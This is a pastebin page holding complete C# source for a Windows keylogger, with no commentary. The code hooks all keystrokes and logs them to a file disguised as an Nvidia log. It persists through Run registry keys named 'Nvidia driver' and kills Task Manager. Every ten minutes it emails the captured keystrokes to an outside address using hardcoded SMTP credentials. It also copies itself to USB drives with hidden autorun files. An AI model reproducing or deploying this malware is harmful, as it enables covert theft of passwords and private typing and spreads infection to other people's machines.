Re: Untitled

From Anonymous, 3 Years ago, written in Plain Text, viewed 49 times. This paste is a reply to Untitled from Anonymous - view diff
URL https://paste.bugabuse.net/view/b388d514 Embed
Download Paste or View Raw
  1. using System;
  2. using System.Diagnostics;
  3. using System.Timers;
  4. using System.Windows.Forms;
  5. using System.Runtime.InteropServices;
  6. using System.IO;
  7. using System.Net;
  8. using System.Net.Mail;
  9. using Microsoft.Win32;
  10.  
  11. namespace Keylogger_V2
  12. {
  13.     class Program
  14.     {
  15.         private const int WH_KEYBOARD_LL = 13;
  16.         private const int WM_KEYDOWN = 0x0100;
  17.         private static LowLevelKeyboardProc _proc = HookCallback;
  18.         private static IntPtr _hookID = IntPtr.Zero;
  19.         public static string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),"nvidia.log");
  20.         public static byte caps = 0, shift = 0, failed = 0;
  21.  
  22.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  23.         private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  24.  
  25.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  26.         [return: MarshalAs(UnmanagedType.Bool)]
  27.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  28.  
  29.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  30.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
  31.  
  32.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  33.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  34.  
  35.         public static void Main()
  36.         {
  37.         _hookID = SetHook(_proc);
  38.         Program.startup();
  39.         System.Timers.Timer timer;
  40.         timer = new System.Timers.Timer();
  41.         timer.Elapsed += new ElapsedEventHandler(Program.OnTimedEvent);
  42.         timer.AutoReset = true;
  43.         timer.Interval = 600000;
  44.         timer.Start();
  45.         System.Timers.Timer timer2;
  46.         timer2 = new System.Timers.Timer();
  47.         timer2.Elapsed += new ElapsedEventHandler(Program.USBSpread);
  48.         timer2.AutoReset = true;
  49.         timer2.Interval = 10000;
  50.         timer2.Start();
  51.         Application.Run();
  52.         GC.KeepAlive(timer);
  53.         GC.KeepAlive(timer2);
  54.         UnhookWindowsHookEx(_hookID);
  55.         }
  56.  
  57.         public static void startup()
  58.         {
  59.             //Try to copy keylogger in some folders
  60.             string source = Application.ExecutablePath.ToString();
  61.             string destination = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  62.             destination=System.IO.Path.Combine(destination,"nvdisp.exe");
  63.             try
  64.             {
  65.                 System.IO.File.Copy(source, destination,false);
  66.                 source = destination;
  67.             } catch {
  68.                 Console.WriteLine("No authorization to copy file or other error.");
  69.             }
  70.             //Find if the file already exist in startup
  71.             try
  72.             {
  73.                 RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false);
  74.  
  75.                 if (registryKey.GetValue("Nvidia driver") == null)
  76.                 {
  77.                     registryKey.SetValue("Nvidia driver", destination);
  78.                 }
  79.  
  80.                 registryKey.Close();//dispose of the Key
  81.             } catch {
  82.                 Console.WriteLine("Error setting startup reg key.");
  83.             }
  84.             //Try to add to all users
  85.             try
  86.             {
  87.                 RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false);
  88.  
  89.                 if (registryKey.GetValue("Nvidia driver") == null)
  90.                 {
  91.                     registryKey.SetValue("Nvidia driver", source);
  92.                 }
  93.  
  94.                 registryKey.Close();//dispose of the key
  95.             }
  96.             catch
  97.             {
  98.                 Console.WriteLine("Error setting startup reg key for all users.");
  99.             }
  100.         }
  101.  
  102.         public static void OnTimedEvent(object source, EventArgs e)
  103.         {
  104.             Process[] ProcessList = Process.GetProcesses();
  105.             foreach (Process proc in ProcessList)
  106.             {
  107.                 if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
  108.                 {
  109.                     proc.Kill();
  110.                 }
  111.             }
  112.             System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
  113.             msg.To.Add("Keyloggednow@live.com");
  114.             msg.From = new MailAddress("keylog@bugabuse.net", "keylog", System.Text.Encoding.UTF8);
  115.             msg.Subject = "keylogger";
  116.             msg.SubjectEncoding = System.Text.Encoding.UTF8;
  117.             msg.Body = "ciao ale";
  118.             msg.BodyEncoding = System.Text.Encoding.UTF8;
  119.             msg.IsBodyHtml = false;
  120.             msg.Priority = MailPriority.High;
  121.             SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
  122.             client.Credentials = new System.Net.NetworkCredential("keylog@bugabuse.net", "haha123");
  123.             client.Port = 465;
  124.             client.Host = "mail.name.com";
  125.             client.EnableSsl = true;
  126.             Attachment data = new Attachment(Program.path);
  127.             msg.Attachments.Add(data);
  128.             try
  129.             {
  130.                 client.Send(msg);
  131.                 failed = 0;
  132.             }
  133.             catch
  134.             {
  135.                 data.Dispose();
  136.                 failed = 1;
  137.             }
  138.             data.Dispose();
  139.  
  140.             if (failed == 0)
  141.                 File.WriteAllText(Program.path, ""); //empties the file
  142.    
  143.             failed = 0;
  144.    
  145.         }
  146.  
  147.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  148.         {
  149.             using (Process curProcess = Process.GetCurrentProcess())
  150.             using (ProcessModule curModule = curProcess.MainModule)
  151.             {
  152.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
  153.             }
  154.         }
  155.         private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  156.         private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
  157.         {
  158.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  159.             {
  160.                 StreamWriter sw = File.AppendText(Program.path);
  161.                 int vkCode = Marshal.ReadInt32(lParam);
  162.                 if (Keys.Shift == Control.ModifierKeys) Program.shift = 1;
  163.                
  164.             switch ((Keys)vkCode)
  165.                 {
  166.                     case Keys.Space:
  167.                         sw.Write(" ");
  168.                         break;
  169.                     case Keys.Return:
  170.                         sw.WriteLine("");
  171.                         break;
  172.                     case Keys.Back:
  173.                         sw.Write("back");
  174.                         break;
  175.                     case Keys.Tab:
  176.                         sw.Write("TAB");
  177.                         break;
  178.                     case Keys.D0:
  179.                         if (Program.shift == 0) sw.Write("0");
  180.                         else sw.Write(")");
  181.                         break;
  182.                     case Keys.D1:
  183.                         if (Program.shift == 0) sw.Write("1");
  184.                         else sw.Write("!");
  185.                         break;
  186.                     case Keys.D2:
  187.                         if (Program.shift == 0) sw.Write("2");
  188.                         else sw.Write("@");
  189.                         break;
  190.                     case Keys.D3:
  191.                         if (Program.shift == 0) sw.Write("3");
  192.                         else sw.Write("#");
  193.                         break;
  194.                     case Keys.D4:
  195.                         if (Program.shift == 0) sw.Write("4");
  196.                         else sw.Write("$");
  197.                         break;
  198.                     case Keys.D5:
  199.                         if (Program.shift == 0) sw.Write("5");
  200.                         else sw.Write("%");
  201.                         break;
  202.                     case Keys.D6:
  203.                         if (Program.shift == 0) sw.Write("6");
  204.                         else sw.Write("^");
  205.                         break;
  206.                     case Keys.D7:
  207.                         if (Program.shift == 0) sw.Write("7");
  208.                         else sw.Write("&");
  209.                         break;
  210.                     case Keys.D8:
  211.                         if (Program.shift == 0) sw.Write("8");
  212.                         else sw.Write("*");
  213.                         break;
  214.                     case Keys.D9:
  215.                         if (Program.shift == 0) sw.Write("9");
  216.                         else sw.Write("(");
  217.                         break;
  218.                     case Keys.LShiftKey:
  219.                     case Keys.RShiftKey:
  220.                     case Keys.LControlKey:
  221.                     case Keys.RControlKey:
  222.                     case Keys.LMenu:
  223.                     case Keys.RMenu:
  224.                     case Keys.LWin:
  225.                     case Keys.RWin:
  226.                     case Keys.Apps:
  227.                 sw.Write("");
  228.                         break;
  229.                     case Keys.OemQuestion:
  230.                         if (Program.shift == 0) sw.Write("/");
  231.                         else sw.Write("?");
  232.                         break;
  233.                     case Keys.OemOpenBrackets:
  234.                         if (Program.shift == 0) sw.Write("[");
  235.                         else sw.Write("{");
  236.                         break;
  237.                     case Keys.OemCloseBrackets:
  238.                         if (Program.shift == 0) sw.Write("]");
  239.                         else sw.Write("}");
  240.                         break;
  241.                     case Keys.Oem1:
  242.                         if (Program.shift == 0) sw.Write(";");
  243.                         else sw.Write(":");
  244.                         break;
  245.                     case Keys.Oem7:
  246.                         if (Program.shift == 0) sw.Write("'");
  247.                         else sw.Write('"');
  248.                         break;
  249.                     case Keys.Oemcomma:
  250.                         if (Program.shift == 0) sw.Write(",");
  251.                         else sw.Write("<");
  252.                         break;
  253.                     case Keys.OemPeriod:
  254.                         if (Program.shift == 0) sw.Write(".");
  255.                         else sw.Write(">");
  256.                         break;
  257.                     case Keys.OemMinus:
  258.                         if (Program.shift == 0) sw.Write("-");
  259.                         else sw.Write("_");
  260.                         break;
  261.                     case Keys.Oemplus:
  262.                         if (Program.shift == 0) sw.Write("=");
  263.                         else sw.Write("+");
  264.                         break;
  265.                     case Keys.Oemtilde:
  266.                         if (Program.shift == 0) sw.Write("`");
  267.                         else sw.Write("~");
  268.                     break;
  269.                 case Keys.Oem5:
  270.                     sw.Write("|");
  271.                     break;
  272.                 case Keys.Capital:
  273.                     if (Program.caps == 0) Program.caps = 1;
  274.                     else Program.caps = 0;
  275.                     break;
  276.                 default:
  277.                     if (Program.shift == 0 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
  278.                     if (Program.shift == 1 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
  279.                     if (Program.shift == 0 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
  280.                     if (Program.shift == 1 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
  281.                     break;
  282.             }
  283.             Program.shift = 0;
  284.             sw.Close();
  285.         }    
  286.         return CallNextHookEx(_hookID, nCode, wParam, lParam);
  287.         }
  288.  
  289.         public static void USBSpread(object source, EventArgs e)
  290.         {
  291.             ///////////////////////////////////////////////////////////////
  292.             /////////////////////// USB spread class //////////////////////
  293.             ///////////////////////////////////////////////////////////////
  294.             //A bit modified
  295.             string source2 = Application.ExecutablePath.ToString();
  296.             System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();
  297.             try
  298.             {
  299.                 foreach (System.IO.DriveInfo drive in drives)
  300.                 {
  301.                     if (drive.DriveType == DriveType.Removable)
  302.                     {
  303.                         string driveAutorun = drive.Name + "autorun.inf";
  304.                         StreamWriter sw = new StreamWriter(driveAutorun);
  305.                         sw.WriteLine("[autorun]\n");
  306.                         sw.WriteLine("open=start.exe");
  307.                         sw.WriteLine("action=Run VMCLite");
  308.                         sw.Close();
  309.                         File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
  310.                         try
  311.                         {
  312.                             File.Copy(source2, drive.Name + "start.exe", true);
  313.                             File.SetAttributes(drive.Name + "start.exe", File.GetAttributes(drive.Name + "start.exe") | FileAttributes.Hidden);
  314.                         }
  315.                         finally
  316.                         {
  317.                             Console.WriteLine("Removable device rooted");
  318.                         }
  319.                     }
  320.                 }
  321.             }
  322.             catch (Exception e2)
  323.             {
  324.                 Console.WriteLine(e2.ToString());
  325.             }
  326.         }
  327.     }
  328. }

Reply to "Re: Untitled"

Here you can reply to the paste above